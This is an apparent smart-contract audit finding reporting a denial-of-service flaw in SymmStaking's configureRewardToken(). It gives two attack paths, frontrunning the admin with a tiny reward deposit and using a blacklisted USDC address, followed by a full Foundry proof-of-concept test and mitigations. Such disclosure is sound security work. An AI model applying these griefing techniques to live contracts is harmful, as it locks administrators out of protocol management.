Scruffy Shadow Whale

Medium

# Malicious Actor can Brick the SymmStaking::configureRewardToken() method

### Summary

A design flaw in the reward token removal mechanism will cause a permanent denial of service for protocol administrators as malicious actors can prevent the removal of reward tokens by either frontrunning with small deposits or exploiting blacklisted addresses to lock tokens in the reward system.

### Root Cause

The issue stems from the condition in [configureRewardToken()](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L320) that checks if `pendingRewards[token] > 10` before allowing a token to be removed from the reward tokens list. This threshold creates an attack vector where an attacker can maintain a small amount of pending rewards to permanently block administrative actions.

### Internal Pre-conditions

1. USDC (or any other token with blacklist functionality) must be configured as a reward token via `configureRewardToken(token, true)`
2. The `pendingRewards[token]` value must be greater than 10 for the attack to work

### External Pre-conditions

- For the blacklist attack scenario, the reward token must implement a blacklist functionality that prevents transfers to specific addresses
- For the frontrunn scenarion, the attacker needs to have a very small amount of USDC: 
  - 1 USDC = 1,000,000 units (1e6)
  - 11 units = 11 / 1,000,000 = **0.000011 USDC**


### Attack Path

### Scenario 1: Frontrunning Admin:

1. Admin decides to remove a reward token by calling configureRewardToken(token, false)
2. Attacker monitors the mempool for this transaction
3. Attacker frontruns with a small deposit of 11 tokens via notifyRewardAmount()
4. Admin's transaction reverts with OngoingRewardPeriodForToken error
5. The token remains active indefinitely as long as the attacker continues this pattern

### Scenario 2: Blacklisted Address Attack:

1. Attacker deposits tokens and earns rewards from a token with blacklist functionality (USDC in this example)
2. Attacker gets his address blacklisted by Circle ie. interacting with OFAC-sanctioned entities
3. Attacker can no longer claim rewards, but the rewards remain "pending"
4. Admin can also not call claimFor()
5. Admin cannot remove the token via configureRewardToken() as pendingRewards[token] remains above 10

### Impact

The protocols system's functionality is disrupted, preventing removal of reward tokens. The issue cannot be easily fixed without a contract upgrade.

### PoC

Add Foundry to the Hardhat project by following the steps below:

1. `npm install --save-dev @nomicfoundation/hardhat-foundry`
2. in your Hardhat config:
   `import "@nomicfoundation/hardhat-foundry";`
3. `npx hardhat init-foundry`
4. Create a new file inside the test folder : `SymmStaking.t.sol`

Paste the code below into the file and run it via: `forge test --mc SymmStakingFoundry`

```Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import {MockERC20} from "../../contracts/mock/MockERC20.sol";
import {SymmStaking} from "../../contracts/staking/SymmStaking.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Test} from "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

/**
 * @title MockUSDCWithBlacklist
 * @dev A mock USDC token with blacklisting functionality for testing purposes
 */
contract MockUSDCWithBlacklist is ERC20, Ownable {
    mapping(address => bool) public blacklisted;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals_) ERC20(name, symbol) Ownable(msg.sender) {
        _decimals = decimals_;
        _mint(msg.sender, 10_000_000 * 10 ** 18);
    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }

    function setBlacklisted(address account, bool status) external onlyOwner {
        blacklisted[account] = status;
    }

    function _update(address from, address to, uint256 amount) internal override {
        super._update(from, to, amount);

        // If this is a transfer (not mint/burn) and either sender or receiver is blacklisted, revert
        if (from != address(0) && to != address(0)) {
            require(!blacklisted[from], "Sender is blacklisted");
            require(!blacklisted[to], "Receiver is blacklisted");
        }
    }
}

contract SymmStakingFoundry is Test {
    MockERC20 stakingToken;
    MockERC20 usdc;
    MockERC20 usdt;
    MockUSDCWithBlacklist mockUSDCBlacklist;
    SymmStaking staking;

    address admin = address(0x1000000000000000000000000000000000000000);

    address[] users;
    uint256[] amounts;

    uint256 startTime;
    uint256 endTime;

    // tracking for user deposits and withdrawals
    mapping(address => uint256) userDeposits;
    mapping(address => uint256) userWithdrawals;
    mapping(address => uint256) public expectedPendingRewards;
    // tracking the previous perTokenStored values
    mapping(address => uint256) private lastPerTokenStored;

    constructor() payable {
        vm.startPrank(admin);
        stakingToken = new MockERC20("SYMM", "SYMM");
        usdc = new MockERC20("USDC", "USDC");
        usdt = new MockERC20("USDT", "USDT");
        mockUSDCBlacklist = new MockUSDCWithBlacklist("MockUSDC", "MockUSDC", 6);
        staking = new SymmStaking();
        staking.initialize(admin, address(stakingToken));
        vm.stopPrank();

        assert(stakingToken.balanceOf(address(admin)) == 10_000_000e18);
        assert(usdc.balanceOf(address(admin)) == 10_000_000e18);
        assert(usdt.balanceOf(address(admin)) == 10_000_000e18);
        assert(mockUSDCBlacklist.balanceOf(address(admin)) == 10_000_000e18);
        assert(staking.stakingToken() == address(stakingToken));

        usdc.approve(address(staking), 10_000_000e18);
        mockUSDCBlacklist.approve(address(staking), 10_000_000e18);
        usdt.approve(address(staking), 10_000_000e18);
        users.push(address(0x2000000000000000000000000000000000000000));
        users.push(address(0x3000000000000000000000000000000000000000));
        users.push(address(0x4000000000000000000000000000000000000000));
        users.push(address(0x5000000000000000000000000000000000000000));
        users.push(address(0x6000000000000000000000000000000000000000));

        for (uint256 i = 0; i < users.length; i++) {
            uint256 amount = 2000000e18;

            amounts.push(amount);

            vm.prank(admin);
            stakingToken.transfer(users[i], amount);

            vm.prank(users[i]);
            stakingToken.approve(address(staking), amount);

            assert(stakingToken.balanceOf(users[i]) == amount);
            assert(stakingToken.allowance(users[i], address(staking)) == amount);
        }

        configureRewardToken(true, true, true);
    }

    function configureRewardToken(bool setUsdc, bool setUsdt, bool setMockUSDC) public {
        vm.startPrank(admin);
        staking.configureRewardToken(address(usdc), setUsdc);
        staking.configureRewardToken(address(usdt), setUsdt);
        staking.configureRewardToken(address(mockUSDCBlacklist), setMockUSDC);
        vm.stopPrank();
    }

    function test_configureRewardTokenCanBeFrontrun() public {
        address attacker = users[0];
        uint256 depositAmount = 100000e18;
        uint256 rewardAmount = 604800e6;

        vm.prank(attacker);
        staking.deposit(depositAmount, attacker);

        // Admin notifies USDT as reward token
        address[] memory tokens = new address[](1);
        tokens[0] = address(usdt);
        uint256[] memory _amounts = new uint256[](1);
        _amounts[0] = rewardAmount;

        deal(address(usdt), address(admin), rewardAmount);
        vm.prank(admin);
        usdt.approve(address(staking), rewardAmount);

        vm.prank(admin);
        staking.notifyRewardAmount(tokens, _amounts);

        // Fast forward half the reward duration (302400 seconds)
        uint256 halfDuration = 302400;
        vm.warp(block.timestamp + halfDuration);

        // Record balance before first claim
        uint256 attackerBalanceBeforeFirstClaim = usdt.balanceOf(attacker);

        // attacker claims rewards after half duration
        vm.startPrank(attacker);
        staking.claimRewards();

        // Check claimed amount (should be ~half of rewards)
        uint256 attackerBalanceAfterFirstClaim = usdt.balanceOf(attacker);
        uint256 firstClaimedAmount = attackerBalanceAfterFirstClaim - attackerBalanceBeforeFirstClaim;
        assertEq(firstClaimedAmount, rewardAmount / 2);

        // Fast forward beyond the full reward duration
        vm.warp(block.timestamp + halfDuration + 100000); // Add some extra time

        // Record balance before second claim
        uint256 attackerBalanceBeforeSecondClaim = usdt.balanceOf(attacker);

        // attacker claims remaining rewards
        staking.claimRewards();

        // Check claimed amount (should be remaining half)
        uint256 attackerBalanceAfterSecondClaim = usdt.balanceOf(attacker);
        uint256 secondClaimedAmount = attackerBalanceAfterSecondClaim - attackerBalanceBeforeSecondClaim;
        assertEq(secondClaimedAmount, (rewardAmount / 2));

        // Pending rewards should be 0
        uint256 pendingRewards = staking.pendingRewards(address(usdt));
        assertEq(pendingRewards, 0);

        // Now the admin wants to set the reward token to false but he gets frontrun by the attacker
        // this prevents the admin from removing the reward token
        _amounts[0] = 11;
        deal(address(usdt), address(attacker), 11);

        usdt.approve(address(staking), 11);
        staking.notifyRewardAmount(tokens, _amounts);
        vm.stopPrank();

        pendingRewards = staking.pendingRewards(address(usdt));
        assertEq(pendingRewards, 11);

        // Admin tries to remove USDT from reward tokens but it fails
        vm.prank(admin);
        vm.expectRevert(abi.encodeWithSelector(SymmStaking.OngoingRewardPeriodForToken.selector, address(usdt), 11));
        staking.configureRewardToken(address(usdt), false);
    }

    function test_blacklistAttack() public {
        address attacker = users[1];
        // 1. Attacker deposits tokens
        uint256 attackerDepositAmount = 10000e18;

        vm.prank(attacker);
        staking.deposit(attackerDepositAmount, attacker);

        // 2. Admin notifies rewards
        address[] memory tokens = new address[](1);
        tokens[0] = address(mockUSDCBlacklist);
        uint256[] memory _amounts = new uint256[](1);
        _amounts[0] = 604800e6; // 1 week of rewards

        vm.prank(admin);
        mockUSDCBlacklist.approve(address(staking), 604800e6);
        vm.prank(admin);
        staking.notifyRewardAmount(tokens, _amounts);

        // 3. Fast forward half the reward duration
        uint256 halfDuration = 302400; // Half of reward duration
        vm.warp(block.timestamp + halfDuration);

        // 4. Blacklist the attacker
        vm.prank(mockUSDCBlacklist.owner());
        mockUSDCBlacklist.setBlacklisted(attacker, true);

        // 6. Fast forward to end of reward period
        vm.warp(block.timestamp + halfDuration + 100000); // Add some extra time

        // 7. Attacker tries to claim rewards but fails due to blacklist
        vm.prank(attacker);
        vm.expectRevert("Receiver is blacklisted");
        staking.claimRewards();

        // 8. Admin tries to claim for attacker but also fails
        vm.prank(admin);
        vm.expectRevert("Receiver is blacklisted");
        staking.claimFor(attacker);

        // 9. Check that there are still pending rewards for the attacker
        uint256 pendingRewards = staking.earned(attacker, address(mockUSDCBlacklist));
        assertGt(pendingRewards, 0);

        // 10. Admin tries to remove USDC from reward tokens but it fails
        vm.prank(admin);
        vm.expectRevert(
            abi.encodeWithSelector(
                SymmStaking.OngoingRewardPeriodForToken.selector, address(mockUSDCBlacklist), pendingRewards
            )
        );
        staking.configureRewardToken(address(mockUSDCBlacklist), false);

        // 11. Even after a long time, the issue persists
        vm.warp(block.timestamp + 365 days);

        vm.prank(admin);
        vm.expectRevert(
            abi.encodeWithSelector(
                SymmStaking.OngoingRewardPeriodForToken.selector, address(mockUSDCBlacklist), pendingRewards
            )
        );
        staking.configureRewardToken(address(mockUSDCBlacklist), false);

        // 12. Unblacklisting allows normal operation to resume
        vm.prank(mockUSDCBlacklist.owner());
        mockUSDCBlacklist.setBlacklisted(attacker, false);

        // Attacker can now claim rewards
        vm.prank(attacker);
        staking.claimRewards();

        // Admin can now remove the reward token
        vm.prank(admin);
        staking.configureRewardToken(address(mockUSDCBlacklist), false);

        // Verify token is no longer a reward token
        assertEq(staking.isRewardToken(address(mockUSDCBlacklist)), false);
    }
}

```

### Mitigation

1. Restrict the notifyRewardAmount function to only be callable by addresses with the REWARD_MANAGER_ROLE
2. Implement a sweep mechanism that allows admins to clear stuck rewards